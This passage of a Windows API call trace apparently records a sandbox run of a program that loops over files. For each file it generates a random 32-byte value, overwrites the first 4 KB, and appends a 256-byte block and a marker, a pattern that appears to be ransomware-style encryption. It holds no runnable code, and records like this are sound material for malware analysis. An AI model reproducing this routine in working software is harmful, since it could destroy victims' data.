HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.313] CloseHandle (hObject=0x978) returned 1 [0087.315] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 128 [0087.315] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x97c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.316] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.316] GetProcessHeap () returned 0x540000 [0087.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.316] GetProcessHeap () returned 0x540000 [0087.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.316] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.316] GetProcessHeap () returned 0x540000 [0087.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.316] ReadFile (in: hFile=0x97c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.363] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.363] WriteFile (in: hFile=0x97c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.363] GetProcessHeap () returned 0x540000 [0087.363] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.363] GetProcessHeap () returned 0x540000 [0087.363] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.363] GetProcessHeap () returned 0x540000 [0087.363] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.363] GetProcessHeap () returned 0x540000 [0087.363] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.364] GetProcessHeap () returned 0x540000 [0087.364] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.364] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.365] GetProcessHeap () returned 0x540000 [0087.365] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.366] GetProcessHeap () returned 0x540000 [0087.366] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.367] GetProcessHeap () returned 0x540000 [0087.367] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.367] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.368] GetProcessHeap () returned 0x540000 [0087.368] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.369] SetFilePointerEx (in: hFile=0x97c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x97c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.369] WriteFile (in: hFile=0x97c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.369] GetProcessHeap () returned 0x540000 [0087.369] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.369] CloseHandle (hObject=0x97c) returned 1 [0087.370] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 129 [0087.370] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.370] ReadFile (in: hFile=0x980, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.370] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.370] GetProcessHeap () returned 0x540000 [0087.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.371] GetProcessHeap () returned 0x540000 [0087.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.371] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.371] GetProcessHeap () returned 0x540000 [0087.371] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.371] ReadFile (in: hFile=0x980, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.425] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.426] WriteFile (in: hFile=0x980, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.426] GetProcessHeap () returned 0x540000 [0087.426] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.426] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.427] GetProcessHeap () returned 0x540000 [0087.427] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.428] GetProcessHeap () returned 0x540000 [0087.428] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.429] GetProcessHeap () returned 0x540000 [0087.429] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.429] GetProcessHeap () returned 0x540000 [0087.430] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.430] GetProcessHeap () returned 0x540000 [0087.430] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.430] 